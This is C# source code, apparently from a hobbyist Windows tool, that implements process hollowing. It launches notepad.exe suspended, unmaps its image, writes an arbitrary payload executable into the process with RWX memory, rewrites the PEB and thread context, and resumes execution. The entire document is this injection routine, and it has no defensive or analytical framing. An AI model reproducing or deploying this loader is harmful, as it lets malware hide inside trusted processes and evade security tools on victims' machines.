private NativePEBlock GetImageBaseAddress(long hProcess) { IntPtr sink = new IntPtr(); // This is just to dump the output data we do not need IntPtr ptrPEB = GetProcessEnvBlockAddress(hProcess); byte[] PEBBlock = new byte[Marshal.SizeOf(typeof(NativePEBlock))]; eventLog.AppendText("Pointer to PEB: " + ptrPEB + Environment.NewLine); bool result = ReadProcessMemory( (IntPtr)hProcess, ptrPEB, PEBBlock, Marshal.SizeOf(typeof(NativePEBlock)), out sink ); // If it was a success reading the process memory, we are going to push the data into the // struct we have if (result) { // This is just to clean up the code so everything is readable. It can be done easily // With BitConverter but the code gets extremely atrocious eventually. GCHandle handle = GCHandle.Alloc(PEBBlock, GCHandleType.Pinned); NativePEBlock pEBlock = (NativePEBlock)Marshal.PtrToStructure( handle.AddrOfPinnedObject(), typeof(NativePEBlock) ); handle.Free(); return(pEBlock); } return(new NativePEBlock()); }
private void RunPayLoad(byte[] byteData) { // Use this pointer to get the return information that we do not need. IntPtr bytesWritten = new IntPtr(); // When you initialise a byte array, it is already 0 byte[] PROCESS_INFORMATION = new byte[24]; byte[] STARTUP_INFO = new byte[104]; // Refer to this website for a guide as we explore the program // https://resources.infosecinstitute.com/2-malware-researchers-handbook-demystifying-pe-file/ // First, we want to get the DOS header from the executable byte[] IMAGE_DOS_HEADER = new byte[Marshal.SizeOf(typeof(DOSHeader))]; Buffer.BlockCopy(byteData, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); GCHandle handle = GCHandle.Alloc(byteData, GCHandleType.Pinned); DOSHeader DOSPayLoadHeaderBlock = (DOSHeader)Marshal.PtrToStructure( handle.AddrOfPinnedObject(), typeof(DOSHeader) ); handle.Free(); // Let us check to see if we have the MZ magic number // Perform a sanity check if (DOSPayLoadHeaderBlock.Signature != IMAGE_DOS_SIGNATURE) { InfoMsg.Text = "Payload is not a valid executable. Dos signature is not valid."; return; } // Then get the PE NT File Headers byte[] IMAGE_NT_HEADERS = new byte[Marshal.SizeOf(typeof(ImageNTHeader))]; Buffer.BlockCopy(byteData, DOSPayLoadHeaderBlock.e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); handle = GCHandle.Alloc(IMAGE_NT_HEADERS, GCHandleType.Pinned); ImageNTHeader NTPayLoadHeaderBlock = (ImageNTHeader)Marshal.PtrToStructure( handle.AddrOfPinnedObject(), typeof(ImageNTHeader) ); handle.Free(); // Check the PE Header is valid if (NTPayLoadHeaderBlock.Signature != IMAGE_NT_SIGNATURE) { InfoMsg.Text = "Payload is not a valid executable. NTHeader is not valid."; return; } // Now, time to run a process string hostProcess = System.Reflection.Assembly.GetEntryAssembly().Location; hostProcess = "C:/Windows/notepad.exe"; if (!CreateProcess(hostProcess, null, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, STARTUP_INFO, PROCESS_INFORMATION)) { InfoMsg.Text = "Can not start host process. Terminating."; return; } // Note, the Handle variable is 8 bytes big due to the 64 bit system long processID = BitConverter.ToInt64(PROCESS_INFORMATION, 0); NativePEBlock pEBBlock = GetImageBaseAddress(processID); IntPtr pHostImageBase = pEBBlock.ImageBaseAddress; // According to documentation, the result code from this function is a success if equal // to 0. There are more codes which you can check. uint result = NtUnmapViewOfSection((IntPtr)processID, pHostImageBase); if (result != 0) { eventLog.AppendText("Error: Unable to unmap host process image."); return; } IntPtr remoteImage = VirtualAllocEx( (IntPtr)processID, pHostImageBase, (uint)NTPayLoadHeaderBlock.OptionalHeader.SizeOfImage, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE ); if (remoteImage.Equals(IntPtr.Zero)) { eventLog.AppendText("Unable to allocate memory" + Environment.NewLine); return; } // Now we need to check if we need to do a rebase of the image eventLog.AppendText("Host Image Base: " + pHostImageBase.ToString("X") + Environment.NewLine); eventLog.AppendText("Payload Image Base: " + NTPayLoadHeaderBlock.OptionalHeader.ImageBase.ToString("X") + Environment.NewLine ); long relocDelta = pHostImageBase.ToInt64() - NTPayLoadHeaderBlock.OptionalHeader.ImageBase; // ==================================================================================== // Now that everything is prepared, we are going to start reallocation memory starting // from here. // ==================================================================================== NTPayLoadHeaderBlock.OptionalHeader.ImageBase = pHostImageBase.ToInt64(); // Now, we need to write to process memory the headers if (!WriteProcessMemory( (IntPtr)processID, pHostImageBase, byteData, NTPayLoadHeaderBlock.OptionalHeader.SizeOfHeaders, out bytesWritten )) { eventLog.AppendText("Can not write to process memory!" + Environment.NewLine); return; } // This is where we need to write the section data for (int i = 0; i < NTPayLoadHeaderBlock.FileHeader.NumberOfSections; i++) { byte[] IMAGE_SECTION_HEADER = new byte[40]; int sectionOffset = DOSPayLoadHeaderBlock.e_lfanew + IMAGE_NT_HEADERS.Length + 8 + IMAGE_SECTION_HEADER.Length * i; Buffer.BlockCopy(byteData, sectionOffset, IMAGE_SECTION_HEADER, 0, 40); int rawDataSize = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 16); int rawDataAddOffset = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 20); int virtualAddressOffset = BitConverter.ToInt32(IMAGE_SECTION_HEADER, 12); byte[] sectionData = new byte[rawDataSize]; Buffer.BlockCopy(byteData, rawDataAddOffset, sectionData, 0, rawDataSize); // Now we are going to write the raw section data to the virtual memory area we created if (rawDataSize == 0) { continue; } if (!WriteProcessMemory( (IntPtr)processID, (pHostImageBase + virtualAddressOffset), sectionData, rawDataSize, out bytesWritten )) { eventLog.AppendText("Can not write to process memory!" + Environment.NewLine); return; } } long entryPoint = pHostImageBase.ToInt64() + NTPayLoadHeaderBlock.OptionalHeader.AddressOfEntryPoint; byte[] test = new byte[200]; bool test2 = ReadProcessMemory( (IntPtr)processID, (IntPtr)entryPoint, test, 200, out bytesWritten ); IntPtr ptrHandleThread = (IntPtr)BitConverter.ToInt64(PROCESS_INFORMATION, 8); byte[] CONTEXT = new byte[1232]; // This is the CONTEXT_INTEGER flag that I hard coded in BitConverter.GetBytes(1048587).CopyTo(CONTEXT, 48); if (!GetThreadContext(ptrHandleThread, CONTEXT)) { ResumeThread(ptrHandleThread); eventLog.AppendText("Can not retrieve CONTEXT!" + Environment.NewLine); return; } // Yes this gets the PEB ptr address. I do not know how. IntPtr ptrToPEB = (IntPtr)BitConverter.ToInt64(CONTEXT, 136); pEBBlock.ImageBaseAddress = (IntPtr)entryPoint; byte[] pEBBlockRaw = new byte[Marshal.SizeOf(typeof(NativePEBlock))]; IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativePEBlock))); Marshal.StructureToPtr(pEBBlock, ptr, true); Marshal.Copy(ptr, pEBBlockRaw, 0, Marshal.SizeOf(typeof(NativePEBlock))); Marshal.FreeHGlobal(ptr); if (!WriteProcessMemory( (IntPtr)processID, ptrToPEB, pEBBlockRaw, Marshal.SizeOf(typeof(NativePEBlock)), out bytesWritten )) { eventLog.AppendText("Can not write to PEB Block!" + Environment.NewLine); return; } BitConverter.GetBytes(entryPoint).CopyTo(CONTEXT, 128); //Write to the RCX if (!SetThreadContext(ptrHandleThread, CONTEXT)) { ResumeThread(ptrHandleThread); eventLog.AppendText("Can not set CONTEXT!" + Environment.NewLine); return; } if (ResumeThread(ptrHandleThread) == 0) { eventLog.AppendText("Failed to resume Thread" + Environment.NewLine); return; } int error = Marshal.GetLastWin32Error(); Console.WriteLine("The last Win32 Error was: " + error); eventLog.AppendText("We should be finished with injection." + Environment.NewLine); }